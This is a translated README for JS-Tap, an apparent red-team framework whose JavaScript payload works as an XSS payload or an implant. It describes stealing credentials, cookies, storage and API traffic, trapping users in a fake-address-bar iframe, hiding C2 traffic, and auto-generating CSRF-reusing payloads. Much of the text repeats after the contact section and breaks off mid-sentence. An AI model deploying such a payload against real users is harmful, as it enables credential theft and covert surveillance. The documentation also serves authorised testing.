hoodoer/JS-Tap
GitHub: hoodoer/JS-Tap
一款面向红队的 JavaScript Payload 框架,支持 XSS 和后渗透场景下的用户行为监控,内置 C2 和自动化 Payload 生成功能。
Stars: 429 | Forks: 44
# JS-Tap
### v2.23
## 本工具旨在用于您被授权攻击的系统。请勿将此工具用于非法目的,否则我会对你非常生气。
## 更新日志
主要更改记录在项目公告中:
## 演示
您可以在此处阅读关于 JS-Tap 的原始博客文章:
来自 ShmooCon 的 JS-Tap 版本 1 简短演示:
在 HackSpaceCon 上演示的 JS-Tap 版本 2,包括 C2 以及如何将其用作后渗透植入物:
自动 Payload 生成器演示,利用拦截的表单提交和 JavaScript 网络流量作为蓝图来生成自定义 C2 Payload:
在 CactusCon 上演示的 v2 版本,包括模拟(mimic)功能:
## 升级警告
我不打算为数据库创建迁移脚本,而且版本号的变更通常涉及数据库 Schema 的更改(请查看更新日志)。您可能应该在版本升级时删除您的 jsTap.db 数据库。如果您的 JS-Tap 服务器中有自定义 Payload,请确保在删除数据库文件之前将其导出。
## 简介
JS-Tap 是一个通用的 JavaScript Payload 及其支持软件,旨在帮助红队人员攻击 Web 应用程序。JS-Tap Payload 可用作 XSS Payload 或后渗透植入物。
该 Payload 不要求运行 Payload 的目标用户通过被攻击应用程序的身份验证,除了找到将 JavaScript 注入应用程序的方法外,不需要对应用程序有任何先验知识。
JS-Tap Payload 不直接攻击应用程序服务器,而是专注于应用程序的客户端,并对客户端代码进行大量插桩。C2 系统允许添加自定义 JavaScript Payload 并将其作为任务在 JS-Tap 客户端上运行,从而提供了直接攻击应用程序服务器的手段。为了促进向攻击服务器的快速过渡,JS-Tap 现在包含一个“模拟”功能,可以自动生成自定义 Payload 并将其移交给 C2 系统。
示例 JS-Tap Payload 包含在 payloads 目录下的 **telemlib.js** 文件中,但是此目录中的任何文件都是未经身份验证提供的,因此您可以同时提供针对不同应用程序配置的多个 Payload。
将 **telemlib.js** 文件复制为您希望的任何文件名,并根据需要修改配置。此文件**尚未**混淆。在参与交战之前,强烈建议更改端点的命名,剥离注释,并对 Payload 进行高度混淆。默认情况下,应用程序使用相当明显的 API 端点(例如 /loot/screenshot),您可以在 **App Settings** 中开启流量混淆。 确保在公开暴露的服务器上使用之前仔细查看下面的配置部分。 ## 收集的数据 * 客户端 IP 地址、操作系统、浏览器 * 浏览器指纹(可选配置) * 用户输入(凭据等) * 访问的 URL * Cookie(未设置 **httponly** 标志的) * Local Storage * Session Storage * 访问页面的 HTML 代码(如果启用该功能) * 访问页面的屏幕截图 * 表单提交的副本 * XHR API 调用的副本(如果启用 monkeypatch 功能) - Endpoint - Method (GET, POST 等) - 设置的 Headers - Basic Auth - 响应状态码 - 请求体和响应体 * Fetch API 调用的副本(如果启用 monkeypatch 功能) - Endpoint - Method (GET, POST 等) - 响应状态码 - 设置的 Headers - 请求体和响应体 * 自定义窃取数据 - 从 C2 系统中的自定义 Payload 发回的数据 注意:接收 XHR 和 Fetch API 调用副本的能力在 trap 模式下有效。在 implant 模式下,目前只能复制 Fetch API。在 implant 模式下,有时可能会错过对表单提交的拦截。 ## 操作模式 Payload 有两种操作模式。模式是 **trap** 还是 **implant** 在 **initGlobals()** 函数中设置,搜索 **window.taperMode** 变量。 #### Trap 模式 Trap 模式通常是您用作 XSS Payload 的模式。XSS Payload 的执行往往是短暂的,查看恶意 JavaScript Payload 运行页面的用户可能会关闭浏览器标签页(页面不有趣)或导航到应用程序的其他位置。在这两种情况下,Payload 都将从内存中删除并停止工作。JS-Tap 需要运行很长时间,否则您将无法收集到有用的数据。 Trap 模式通过使用 [iFrame trap 技术](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) 建立持久性来应对这种情况。JS-Tap Payload 将创建一个全页面 iFrame,并在应用程序的其他位置启动用户。必须提前配置此起始页。在 **initGlobals()** 函数中搜索 **window.taperstartingPage** 变量,并将其设置为目标应用程序中的适当起始位置。 在 trap 模式下,JS-Tap 监控用户在 iframe trap 中的位置,并伪造浏览器的地址栏以匹配 iframe 的位置。 请注意,如果目标应用程序设置了 CSP 或 X-Frame-Options 标头,则必须允许来自 same-origin 或 self 的 iFraming。基于 JavaScript 的 framebusters 也可以阻止 iFrame traps 工作。 注意,我很幸运地在应用程序的特定位置将 Trap Mode 用于后渗透植入物,或者当我不确定应用程序在经过身份验证的部分中使用哪些资源时。您可以将植入物放在登录页面中,使用 trap 模式并将 trap 模式起始页设置为 **window.location.href**(即当前位置)。当用户访问登录页面时,trap 将设置,并且他们有望进入 iframe trap 内的应用程序经过身份验证的部分。 用户刷新页面通常会破坏/逃离 iframe trap。 #### Implant 模式 如果您直接将 Payload 添加到目标应用程序中,通常会使用 Implant 模式。也许您在托管应用程序 JavaScript 文件的服务器上有一个 shell。将 Payload 添加到整个应用程序中使用的 JavaScript 文件(jQuery、main.js 等)中。哪个文件是理想的,实际上取决于所讨论的应用程序及其如何使用 JavaScript 文件。Implant 模式不需要配置起始页,也不使用 iFrame trap 技术。 在 implant 模式下刷新页面的用户通常将继续运行 JS-Tap Payload。 Implant 模式更有可能与应用程序一起工作,因为它不涉及所有额外的 iframe 持久性代码。 ## 安装与启动 需要 python3。jsTapServer 需要大量的依赖项,**强烈**建议您使用 python 虚拟环境来隔离服务器软件的库(或者使用您首选的隔离方法)。 示例: ``` mkdir jsTapEnvironment python3 -m venv jsTapEnvironment source jsTapEnvironment/bin/activate cd jsTapEnvironment git clone https://github.com/hoodoer/JS-Tap cd JS-Tap pip3 install -r requirements.txt run in debug/single thread mode: python3 jsTapServer.py run with gunicorn multithreaded (production use): ./jstapRun.sh ``` 启动时会生成一个新的管理员密码。如果您没有在启动打印语句中看到它,您可以在 **adminCreds.txt** 文件中找到保存的凭据。 如果 jsTapServer 在启动时发现现有数据库,它会询问您是要在数据库中保留现有客户端,还是删除这些表以重新开始。 请注意,在 Mac 上,我还必须在 python 之外安装 libmagic。 ``` brew install libmagic ``` 在本地使用 JS-Tap 进行测试是可以的,但要在正式的 engagements 中使用,您需要在可公开访问的 VPS 上运行 JS-Tap,并将 JS-Tap 的 **PROXYMODE** 设置为 True。使用 NGINX 作为前端来处理有效的证书。 ## 配置 ### JS-Tap 服务器配置 #### 调试/单线程配置 如果您在单线程模式下使用 jsTapServer.py 脚本运行 JS-Tap(非常适合测试/演示),则 jsTapServer.py 脚本中有直接的配置选项。 ##### Proxy 模式 对于生产用途,JS-Tap 应托管在具有来自 letsencrypt 等机构颁发的有效 SSL 证书的公共服务器上。部署它的最简单方法是让 NGINX 充当 JS-Tap 的前端并处理 letsencrypt 证书,然后将解密的流量作为 HTTP 流量本地转发给 JS-Tap(即 NGINX 和 JS-Tap 在同一个 VPS 上运行)。 如果您将 **proxyMode** 设置为 true,JS-Tap 服务器将以 HTTP 模式运行,并从 **X-Forwarded-For** 标头获取客户端 IP 地址,这需要配置 NGINX 进行设置。 当 **proxyMode** 设置为 false 时,JS-Tap 将使用自签名证书运行,这对测试很有用。客户端 IP 将取自连接客户端的源 IP。 ##### 数据目录 **dataDirectory** 参数告诉 JS-Tap 用于 SQLite 数据库和 loot 目录的目录在哪里。并非所有“loot”都存储在数据库中,特别是屏幕截图和抓取的 HTML 文件不存储在其中。 ##### 服务器端口 要更改服务器端口配置,请参阅 **jsTapServer.py** 的最后一行 ``` app.run(debug=False, host='0.0.0.0', port=8444, ssl_context='adhoc') ``` #### Gunicorn 生产配置 Gunicorn 是在生产环境中运行 JS-Tap 的首选方式。上述相同的设置可以在 jstapRun.sh bash 脚本中设置。当使用 gunicorn 启动脚本启动 JS-Tap 时,启动脚本中设置的值优先于 **jsTapServer.py** 脚本中直接设置的值。 使用 Gunicorn 服务应用程序时,配置的一个很大区别是您需要配置 workers(重量级进程)和 threads(轻量级服务进程)的数量。JS-Tap 是一个 I/O 密集型应用程序,因此除了 workers 之外,使用线程有利于在多处理器机器上扩展应用程序。请注意,如果您在同一台机器上使用 NGINX,您还需要配置 NGNIX 使用多个进程,以免代理本身成为瓶颈。 在 jstapRun.sh 脚本的顶部是 **numWorkers** 和 **numThreads** 参数。我喜欢使用 CPU 数量 + 1 作为 workers,根据处理器的强度使用 4-8 个线程。对于 NGINX,在其配置中我通常设置 **worker_processes auto;** Proxy 模式由 **PROXYMODE** 变量设置,数据目录由 **DATADIRECTORY** 变量设置。请注意,数据目录变量需要添加结尾的 '/'。 使用 gunicorn 启动脚本时,如果启动时 **PROXYMODE** 设置为 False,将使用自签名证书。您需要首先使用以下命令生成该自签名证书:
**openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes** ### JS-Tap Payload (telemlib.js) 配置 这些配置变量位于 **initGlobals()** 函数中。 #### JS-Tap 服务器位置 您需要使用 JS-Tap 服务器将连接回的 URL 配置 Payload。 ``` window.taperexfilServer = "https://127.0.0.1:8444"; ``` #### 模式 设置为 **trap** 或 **implant** 这是通过变量设置的: ``` window.taperMode = "trap"; or window.taperMode = "implant"; ``` #### Trap 模式起始页 仅 trap 模式需要。请参阅上面 **Operating Modes** 部分中的解释。
设置设置 iFrame trap 时用户开始的页面。 ``` window.taperstartingPage = "http://targetapp.com/somestartpage"; ``` 如果您希望 trap 在当前页面上启动,而不是将用户重定向到 iframe trap 中的不同页面,您可以使用: ``` window.taperstartingPage = window.location.href; ``` #### 客户端标签 如果您同时针对多个应用程序或部署使用 JS-Tap,并且想要可视地指示加载了哪个 Payload,这很有用。请记住,整个 /payloads 目录都是被服务的,您可以配置多个具有不同模式、起始页和客户端标签的 JS-Tap Payload。 此标签字符串(保持简短!)前缀于 JS-Tap portal 中的客户端昵称。设置多个 Payload,每个都具有针对其所用应用程序的适当配置,并添加一个指示客户端正在运行哪个应用程序的标签。 ``` window.taperTag = 'whatever'; ``` #### 自定义 Payload 任务 用于配置客户端是否检查 **Custom Payload** 任务,以及检查频率。jitter 设置 让您选择设置下限和上限修饰符。将选择这两个数字之间的一个随机值 并将其添加到检查延迟中。将这些设置为 0 和 0 表示无 jitter。 ``` window.taperTaskCheck = true; window.taperTaskCheckDelay = 5000; window.taperTaskJitterBottom = -2000; window.taperTaskJitterTop = 2000; ``` #### 客户端指纹 可以启用此功能以根据众多属性计算客户端的指纹。根据此指纹创建一个非常短的哈希。可以通过在 **App SettingS** 中启用此短哈希,选择性地显示在客户端卡上。客户端列表过滤器可以根据此指纹进行过滤,以识别可能运行在同一台计算机上的多个 JS-Tap 客户端。请注意,如果企业向用户发放相同的系统,它们很容易获得相同的指纹值。 要在 JS-Tap Payload 中启用指纹计算: ``` window.taperFingerprint = true; ``` 即使正在计算指纹,除非在 **App Settings** 中启用该功能,否则它不会显示在客户端卡中。 请注意,您可以按指纹哈希过滤客户端列表,以显示最可能是同一台计算机的客户端。 #### 窃取 HTML 关于是否窃取查看的每个页面的 HTML 代码副本的 true/false 设置。这些窃取的 HTML 文件用于在自动生成表单提交自定义 Payload 时查找 CSRF token 源。 ``` window.taperexfilHTML = true; ``` #### 复制表单提交 关于是否拦截所有表单提交副本的 true/false 设置。 ``` window.taperexfilFormSubmissions = true; ``` #### MonkeyPatch API 启用 XHR 和 Fetch API 的 monkeypatching。这在 trap 模式下有效。在 implant 模式下,仅 Fetch API 被patch。Monkeypatching 允许在运行时重写 JavaScript。启用此功能将重写 JavaScript 代码使用的 XHR 和 Fetch 网络 API,以便窃听这些网络调用的内容。请注意,jQuery 和基于 Ajax 的网络调用将在 XHR API 中被捕获,它们在底层使用 XHR API 进行网络调用。当然,自动生成 API 调用自定义 Payload 取决于使用此 monkeypatch 功能拦截 API 调用。 ``` window.monkeyPatchAPIs = true; ``` #### API 调用后的屏幕截图 默认情况下,JS-Tap 将在用户导航到新页面后捕获新屏幕截图。某些应用程序在加载新数据时不会更改其路径,这将导致错过屏幕截图。JS-Tap 可以配置为在发出 XHR 或 Fetch API 调用后捕获新屏幕截图。这些 API 调用通常用于检索要显示的新数据。提供了两个设置,一个用于启用“API 调用后屏幕截图”,另一个是以毫秒为单位的延迟。在 API 调用后 X 毫秒,JS-Tap 将捕获新屏幕截图。 ``` window.postApiCallScreenshot = true; window.screenshotDelay = 1000; ``` ## JS-Tap Portal 使用服务器脚本启动时提供的管理员凭据登录。 客户端显示在左侧,选择一个将在右侧显示其事件时间序列。 客户端列表可以按时间(首次看到、最后收到更新)排序,并且可以过滤列表以仅显示“加星标”的客户端。客户端列表上方还有一个快速过滤器搜索,允许您快速过滤包含输入字符串的客户端。如果您在 Payload 配置中设置了可选标签,这很有用。可选标签显示在客户端昵称的前面。过滤检查针对可选标签、昵称、IP 地址、指纹、浏览器和平台。请注意,您可以通过在搜索词前加上 '!' 来反转过滤器搜索。例如,要显示所有不使用 Firefox 的客户端,请使用过滤词 "!firefox"。 每个客户端都有一个 'x' 按钮(在星标按钮附近)。这允许您删除该客户端的会话,如果他们发送垃圾或无用数据,您可以阻止该客户端提交未来的数据。 当 JS-Tap Payload 启动时,它从 JS-Tap 服务器检索会话。如果您想停止发布所有新客户端会话,请选择顶部的 **App Settings**,您可以禁用新客户端会话。您还可以启用显示客户端“指纹”,这是非常短的哈希值,对于特定系统上的用户浏览器应该是唯一的。这有助于识别哪些 JS-Tap 客户端实际上是同一个人。请注意,必须配置 JS-Tap 客户端执行指纹计算。客户端过滤器搜索栏也搜索指纹字段,因此很容易显示具有相同指纹的客户端。 您还可以在 **App Settings** 中配置电子邮件通知,以通知新客户端或客户端的新事件。这仅基于 SMTP (TLS),您可以将通知电子邮件发送给多个收件人。“电子邮件延迟”选项可防止持续的电子邮件垃圾邮件,您将收到延迟期间发生的所有通知的汇总电子邮件。 您可以在 **App Settings** 中更改客户端列表自动更新的频率,您也可以在此处阻止特定 IP 地址接收 JS-Tap 会话。 如果您想更好地隐藏 JS-Tap 网络流量以免被检查,请在 **App Settings** 中启用流量混淆。这将适用于使用 HTTPS 且 webcrypto API 可用的应用程序。JS-Tap 客户端将在应用程序级别加密所有流量,并将其发送到 C2 服务器上的单个 API 端点,该端点将对其进行解密并在服务器端进行路由。来自 JS-Tap C2 的响应(例如自定义 Payload)也来自此单个 API 端点,并且也已加密。请注意,如果被窃听的浏览器不支持 web crypto API,JS-Tap 将回退到传统的非混淆流量。 每个客户端都有一个“notes”功能。如果您发现该特定客户端的有用信息(凭据、API tokens 等),您可以将其添加到客户端备注中。在您查看完所有客户端并记下笔记后,顶部的 **View All Notes** 功能允许您一次导出所有客户端的所有笔记。 如果您试图关注特定内容(例如屏幕截图),可以按事件类型过滤事件列表。请注意,事件/loot 列表**不会**自动更新(客户端列表会)。如果要加载客户端的最新事件,则需要再次在左侧选择该客户端。 #### 自定义 Payload 从版本 1.02 开始,具有自定义 Payload 功能。可以在 JS-Tap portal 中添加多个 JavaScript Payload,并在单个客户端、所有当前客户端上执行,或设置为在所有未来客户端上自动运行。Payload 可以在 JS-Tap portal 中编写/编辑,也可以从文件导入。Payload 也可以导出。导入 Payload 的格式是简单的 JSON。JavaScript 代码和描述只是 base64 编码。 ``` [{"code":"YWxlcnQoJ1BheWxvYWQgMSBmaXJpbmcnKTs=","description":"VGhlIGZpcnN0IHBheWxvYWQ=","name":"Payload 1"},{"code":"YWxlcnQoJ1BheWxvYWQgMiBmaXJpbmcnKTs=","description":"VGhlIHNlY29uZCBwYXlsb2Fk","name":"Payload 2"}] ``` 如果您的自定义 Payload 需要窃取数据,您可以使用 *customExfil(note, data)* 方法。在自定义 Payload 中调用此方法会将该文本数据发送回 JS-Tap,并作为事件显示在 loot 数据中。
自定义 Payload 的主用户界面位于顶部菜单栏中。选择 **Custom Payloads** 以打开界面。任何现有的 Payload 都将显示在左侧的列表中。按钮栏允许您导入和导出列表。Payload 可以在右侧进行编辑,尽管您可以按 **Expand Code** 按钮以获得更大的代码编辑窗格。要加载现有 Payload 进行编辑,请通过单击 **Saved Payloads** 列表中的 Payload 来选择它。一旦定义并保存了 Payload,您就可以在客户端上执行它们。
在主 **Custom Payloads** 视图中,您可以针对所有当前客户端启动 Payload(**Run** 按钮)。您还可以切换 Payload 的 **Autorun** 属性,这意味着所有新客户端都将运行该 Payload。请注意,现有客户端不会基于 Autorun 设置运行 Payload。
您可以打开 **Repeat**,当每个客户端检查任务时,Payload 将被任务化。请记住,客户端检查自定义 Payload 任务的速率是可变的,并且该速率可以在主 JS-Tap Payload 配置中更改。可以使用自定义 Payload 更改该速率(调用 *updateTaskCheckInterval(newDelay)* 函数)。任务检查延迟中的 jitter 可以使用 *updateTaskCheckJitter(newTop, newBottom)* 函数设置。
自定义 Payload UI 中的 **Clear All Jobs** 按钮将删除队列中所有客户端的所有自定义 Payload 作业,并重置 auto/repeat 运行切换。
要在单个客户端用户上运行 Payload,请使用您希望在其上运行的特定客户端上的 **Run Payload** 按钮,然后点击您希望使用的特定 Payload 的 **Run** 按钮。您也可以在单个客户端上设置 **Repeat**。 #### 自动生成的自定义 Payload (Mimic) 从版本 2.1 开始,JS-Tap 包含自动生成自定义 Payload 的功能。此功能利用拦截表单提交和 XHR/Fetch API 调用的能力。JS-Tap 可以使用这些拦截的通信作为原型来围绕其构建 Payload。
请求中的参数将由自动生成的 Payload 顶部的变量设置,以便于修改正在执行的操作。需要 CSRF token 的表单提交,以及需要 Authorization 标头的 XHR/Fetch API 调用将由 mimic 向导处理;您可以在拦截的表单提交/API 调用中选择这些值,JS-Tap 将搜索其数据库以确定这些值的来源。
将生成一个 Payload,首先在用户的浏览器中获取这些项目的当前值,因为这些值可能随时间和不同用户而变化。检索到的值将用于随后将修改后的参数传递给服务器以执行正在“模拟”的操作的请求中。
如果您跳过搜索这些值,请求中没有它们,或者 JS-Tap 无法找到来源,将生成一个使用原始拦截请求中的 CSRF tokens 和 Authorization 标头值的 Payload。
要使用 mimic 功能创建自动生成的 Payload,请找到拦截的表单提交或 API 调用,然后按 loot 列中事件卡上的 **Create Mimic Payload** 按钮。这将打开向导,您可以在其中选择 CSRF token(用于表单提交)或 Authorization 标头(用于 API 调用)。您需要将参数/标头名称复制到名称字段中,并将 token 值复制到值字段中。完成后,点击 **Search** 按钮,让 JS-Tap 确定这些值的存储或检索位置。
如果 JS-Tap 找到这些值的来源,点击下一步将生成 Payload 并将其作为新 Payload 输入到 C2 系统中。将生成的代码顶部的 Payload 名称、描述和参数值更改为您所需的设置并保存。然后,您可以在 JS-Tap 客户端上运行该 Payload。 ## 工具 tools 子目录中包含一些工具。 ### clientSimulator.py 用于对 jsTapServer 进行压力测试的脚本。有助于大致确定您的服务器可以处理多少客户端。请注意,运行 clientSimulator 脚本可能比实际的 jsTapServer 更耗费资源,因此您可能希望在一个单独的机器上运行它。 脚本顶部有一个 **numClients** 变量,设置为您想模拟的客户端数量。脚本将为每个客户端生成一个线程,检索客户端会话,并发送模拟客户端的数据。 ``` numClients = 50 ``` 您还需要配置 clientSimulator 连接到的 jsTapServer 运行位置: ``` apiServer = "https://127.0.0.1:8444" ``` 使用 gunicorn 运行的 JS-Tap 扩展性很好。 ### MonkeyPatchApp 一个用于测试 XHR/Fetch monkeypatching 的简单应用程序,但可以为您提供一个简单的应用程序来测试 Payload。 运行方式: ``` python3 monkeyPatchLab.py ``` 默认情况下,这将启动运行在以下位置的应用程序: ``` https://127.0.0.1:8443 ``` 按下“Inject JS-Tap payload”按钮将运行 JS-Tap Payload。这适用于 implant 或 trap 模式。您可能需要将 monkeyPatchLab 应用程序指向新的 JS-Tap 服务器位置以加载 Payload 文件,您可以在 **main.js** 的 **injectPayload()** 函数中找到此设置 ``` function injectPayload() { document.head.appendChild(Object.assign(document.createElement('script'), {src:'https://127.0.0.1:8444/lib/telemlib.js',type:'text/javascript'})); } ``` ### DefconApp 另一个类似于 MonkeyPathApp 的简单应用程序,但是此应用程序中的 XHR API 调用会在应用程序中产生可见的更改(更改“defcon”级别)。
它还有一个 **Inject Js-Tap payload** 按钮,用于模拟 XSS 利用。所有代码都包含在 **defconServer.py** 文件中,包括 JavaScript 和 HTML。
此应用程序是自动生成拦截 XHR 网络调用 Payload 的良好测试。 ### formParser.py 废弃的工具,是分析 HTML 表单和解析其参数的良好开端。旨在帮助自动生成 JavaScript Payload 以针对表单提交。 您应该能够在窃取的 HTML 文件上运行它。同样,这目前是废弃软件,已被自动生成自定义 Payload 的 mimic 功能所取代。 ### generateIntelReport.py 不再工作,曾在 JS-Tap 使用 Web UI 之前使用。generateIntelReport 脚本将梳理收集的 loot 并生成 PDF 报告。出于性能原因,现在禁用了将所有 loot 保存到磁盘,其中大部分存储在数据库中,但窃取的 HTML 代码和屏幕截图除外。 ## 联系方式 @hoodoer
hoodoer@bitwisemunitions.dev
将 **telemlib.js** 文件复制为您希望的任何文件名,并根据需要修改配置。此文件**尚未**混淆。在参与交战之前,强烈建议更改端点的命名,剥离注释,并对 Payload 进行高度混淆。默认情况下,应用程序使用相当明显的 API 端点(例如 /loot/screenshot),您可以在 **App Settings** 中开启流量混淆。 确保在公开暴露的服务器上使用之前仔细查看下面的配置部分。 ## 收集的数据 * 客户端 IP 地址、操作系统、浏览器 * 浏览器指纹(可选配置) * 用户输入(凭据等) * 访问的 URL * Cookie(未设置 **httponly** 标志的) * Local Storage * Session Storage * 访问页面的 HTML 代码(如果启用该功能) * 访问页面的屏幕截图 * 表单提交的副本 * XHR API 调用的副本(如果启用 monkeypatch 功能) - Endpoint - Method (GET, POST 等) - 设置的 Headers - Basic Auth - 响应状态码 - 请求体和响应体 * Fetch API 调用的副本(如果启用 monkeypatch 功能) - Endpoint - Method (GET, POST 等) - 响应状态码 - 设置的 Headers - 请求体和响应体 * 自定义窃取数据 - 从 C2 系统中的自定义 Payload 发回的数据 注意:接收 XHR 和 Fetch API 调用副本的能力在 trap 模式下有效。在 implant 模式下,目前只能复制 Fetch API。在 implant 模式下,有时可能会错过对表单提交的拦截。 ## 操作模式 Payload 有两种操作模式。模式是 **trap** 还是 **implant** 在 **initGlobals()** 函数中设置,搜索 **window.taperMode** 变量。 #### Trap 模式 Trap 模式通常是您用作 XSS Payload 的模式。XSS Payload 的执行往往是短暂的,查看恶意 JavaScript Payload 运行页面的用户可能会关闭浏览器标签页(页面不有趣)或导航到应用程序的其他位置。在这两种情况下,Payload 都将从内存中删除并停止工作。JS-Tap 需要运行很长时间,否则您将无法收集到有用的数据。 Trap 模式通过使用 [iFrame trap 技术](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) 建立持久性来应对这种情况。JS-Tap Payload 将创建一个全页面 iFrame,并在应用程序的其他位置启动用户。必须提前配置此起始页。在 **initGlobals()** 函数中搜索 **window.taperstartingPage** 变量,并将其设置为目标应用程序中的适当起始位置。 在 trap 模式下,JS-Tap 监控用户在 iframe trap 中的位置,并伪造浏览器的地址栏以匹配 iframe 的位置。 请注意,如果目标应用程序设置了 CSP 或 X-Frame-Options 标头,则必须允许来自 same-origin 或 self 的 iFraming。基于 JavaScript 的 framebusters 也可以阻止 iFrame traps 工作。 注意,我很幸运地在应用程序的特定位置将 Trap Mode 用于后渗透植入物,或者当我不确定应用程序在经过身份验证的部分中使用哪些资源时。您可以将植入物放在登录页面中,使用 trap 模式并将 trap 模式起始页设置为 **window.location.href**(即当前位置)。当用户访问登录页面时,trap 将设置,并且他们有望进入 iframe trap 内的应用程序经过身份验证的部分。 用户刷新页面通常会破坏/逃离 iframe trap。 #### Implant 模式 如果您直接将 Payload 添加到目标应用程序中,通常会使用 Implant 模式。也许您在托管应用程序 JavaScript 文件的服务器上有一个 shell。将 Payload 添加到整个应用程序中使用的 JavaScript 文件(jQuery、main.js 等)中。哪个文件是理想的,实际上取决于所讨论的应用程序及其如何使用 JavaScript 文件。Implant 模式不需要配置起始页,也不使用 iFrame trap 技术。 在 implant 模式下刷新页面的用户通常将继续运行 JS-Tap Payload。 Implant 模式更有可能与应用程序一起工作,因为它不涉及所有额外的 iframe 持久性代码。 ## 安装与启动 需要 python3。jsTapServer 需要大量的依赖项,**强烈**建议您使用 python 虚拟环境来隔离服务器软件的库(或者使用您首选的隔离方法)。 示例: ``` mkdir jsTapEnvironment python3 -m venv jsTapEnvironment source jsTapEnvironment/bin/activate cd jsTapEnvironment git clone https://github.com/hoodoer/JS-Tap cd JS-Tap pip3 install -r requirements.txt run in debug/single thread mode: python3 jsTapServer.py run with gunicorn multithreaded (production use): ./jstapRun.sh ``` 启动时会生成一个新的管理员密码。如果您没有在启动打印语句中看到它,您可以在 **adminCreds.txt** 文件中找到保存的凭据。 如果 jsTapServer 在启动时发现现有数据库,它会询问您是要在数据库中保留现有客户端,还是删除这些表以重新开始。 请注意,在 Mac 上,我还必须在 python 之外安装 libmagic。 ``` brew install libmagic ``` 在本地使用 JS-Tap 进行测试是可以的,但要在正式的 engagements 中使用,您需要在可公开访问的 VPS 上运行 JS-Tap,并将 JS-Tap 的 **PROXYMODE** 设置为 True。使用 NGINX 作为前端来处理有效的证书。 ## 配置 ### JS-Tap 服务器配置 #### 调试/单线程配置 如果您在单线程模式下使用 jsTapServer.py 脚本运行 JS-Tap(非常适合测试/演示),则 jsTapServer.py 脚本中有直接的配置选项。 ##### Proxy 模式 对于生产用途,JS-Tap 应托管在具有来自 letsencrypt 等机构颁发的有效 SSL 证书的公共服务器上。部署它的最简单方法是让 NGINX 充当 JS-Tap 的前端并处理 letsencrypt 证书,然后将解密的流量作为 HTTP 流量本地转发给 JS-Tap(即 NGINX 和 JS-Tap 在同一个 VPS 上运行)。 如果您将 **proxyMode** 设置为 true,JS-Tap 服务器将以 HTTP 模式运行,并从 **X-Forwarded-For** 标头获取客户端 IP 地址,这需要配置 NGINX 进行设置。 当 **proxyMode** 设置为 false 时,JS-Tap 将使用自签名证书运行,这对测试很有用。客户端 IP 将取自连接客户端的源 IP。 ##### 数据目录 **dataDirectory** 参数告诉 JS-Tap 用于 SQLite 数据库和 loot 目录的目录在哪里。并非所有“loot”都存储在数据库中,特别是屏幕截图和抓取的 HTML 文件不存储在其中。 ##### 服务器端口 要更改服务器端口配置,请参阅 **jsTapServer.py** 的最后一行 ``` app.run(debug=False, host='0.0.0.0', port=8444, ssl_context='adhoc') ``` #### Gunicorn 生产配置 Gunicorn 是在生产环境中运行 JS-Tap 的首选方式。上述相同的设置可以在 jstapRun.sh bash 脚本中设置。当使用 gunicorn 启动脚本启动 JS-Tap 时,启动脚本中设置的值优先于 **jsTapServer.py** 脚本中直接设置的值。 使用 Gunicorn 服务应用程序时,配置的一个很大区别是您需要配置 workers(重量级进程)和 threads(轻量级服务进程)的数量。JS-Tap 是一个 I/O 密集型应用程序,因此除了 workers 之外,使用线程有利于在多处理器机器上扩展应用程序。请注意,如果您在同一台机器上使用 NGINX,您还需要配置 NGNIX 使用多个进程,以免代理本身成为瓶颈。 在 jstapRun.sh 脚本的顶部是 **numWorkers** 和 **numThreads** 参数。我喜欢使用 CPU 数量 + 1 作为 workers,根据处理器的强度使用 4-8 个线程。对于 NGINX,在其配置中我通常设置 **worker_processes auto;** Proxy 模式由 **PROXYMODE** 变量设置,数据目录由 **DATADIRECTORY** 变量设置。请注意,数据目录变量需要添加结尾的 '/'。 使用 gunicorn 启动脚本时,如果启动时 **PROXYMODE** 设置为 False,将使用自签名证书。您需要首先使用以下命令生成该自签名证书:
**openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes** ### JS-Tap Payload (telemlib.js) 配置 这些配置变量位于 **initGlobals()** 函数中。 #### JS-Tap 服务器位置 您需要使用 JS-Tap 服务器将连接回的 URL 配置 Payload。 ``` window.taperexfilServer = "https://127.0.0.1:8444"; ``` #### 模式 设置为 **trap** 或 **implant** 这是通过变量设置的: ``` window.taperMode = "trap"; or window.taperMode = "implant"; ``` #### Trap 模式起始页 仅 trap 模式需要。请参阅上面 **Operating Modes** 部分中的解释。
设置设置 iFrame trap 时用户开始的页面。 ``` window.taperstartingPage = "http://targetapp.com/somestartpage"; ``` 如果您希望 trap 在当前页面上启动,而不是将用户重定向到 iframe trap 中的不同页面,您可以使用: ``` window.taperstartingPage = window.location.href; ``` #### 客户端标签 如果您同时针对多个应用程序或部署使用 JS-Tap,并且想要可视地指示加载了哪个 Payload,这很有用。请记住,整个 /payloads 目录都是被服务的,您可以配置多个具有不同模式、起始页和客户端标签的 JS-Tap Payload。 此标签字符串(保持简短!)前缀于 JS-Tap portal 中的客户端昵称。设置多个 Payload,每个都具有针对其所用应用程序的适当配置,并添加一个指示客户端正在运行哪个应用程序的标签。 ``` window.taperTag = 'whatever'; ``` #### 自定义 Payload 任务 用于配置客户端是否检查 **Custom Payload** 任务,以及检查频率。jitter 设置 让您选择设置下限和上限修饰符。将选择这两个数字之间的一个随机值 并将其添加到检查延迟中。将这些设置为 0 和 0 表示无 jitter。 ``` window.taperTaskCheck = true; window.taperTaskCheckDelay = 5000; window.taperTaskJitterBottom = -2000; window.taperTaskJitterTop = 2000; ``` #### 客户端指纹 可以启用此功能以根据众多属性计算客户端的指纹。根据此指纹创建一个非常短的哈希。可以通过在 **App SettingS** 中启用此短哈希,选择性地显示在客户端卡上。客户端列表过滤器可以根据此指纹进行过滤,以识别可能运行在同一台计算机上的多个 JS-Tap 客户端。请注意,如果企业向用户发放相同的系统,它们很容易获得相同的指纹值。 要在 JS-Tap Payload 中启用指纹计算: ``` window.taperFingerprint = true; ``` 即使正在计算指纹,除非在 **App Settings** 中启用该功能,否则它不会显示在客户端卡中。 请注意,您可以按指纹哈希过滤客户端列表,以显示最可能是同一台计算机的客户端。 #### 窃取 HTML 关于是否窃取查看的每个页面的 HTML 代码副本的 true/false 设置。这些窃取的 HTML 文件用于在自动生成表单提交自定义 Payload 时查找 CSRF token 源。 ``` window.taperexfilHTML = true; ``` #### 复制表单提交 关于是否拦截所有表单提交副本的 true/false 设置。 ``` window.taperexfilFormSubmissions = true; ``` #### MonkeyPatch API 启用 XHR 和 Fetch API 的 